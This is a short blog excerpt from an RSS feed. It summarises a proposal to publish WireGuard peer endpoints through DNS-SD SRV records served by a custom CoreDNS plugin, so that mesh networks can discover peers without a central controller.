<p>Jordan Whited published a post on <strong>WireGuard Endpoint Discovery and NAT Traversal using DNS-SD</strong>. In the <em>Doubling Down on WireGuard</em> section, he proposes using <strong>SRV records</strong> to expose WireGuard peer information via DNS Service Discovery.</p>
<p>The approach uses <strong>CoreDNS</strong> — a plugin-based DNS server written in Go — with a custom plugin that answers DNS-SD queries with WireGuard peer metadata. This is a compelling alternative architecture for dynamic peer discovery, eliminating the need for a central controller in mesh topologies where peers need to find each other&rsquo;s endpoints automatically.</p>
<hr>
<p><em>Based on the original write-up at <a href="https://sskaje.me">sskaje.me</a>.</em></p>
<p>Photo by <a href="https://unsplash.com/@ferhat">Ferhat Deniz Fors</a> on Unsplash.</p>
]]></content>
        </item>
        
    </channel>
</rss>
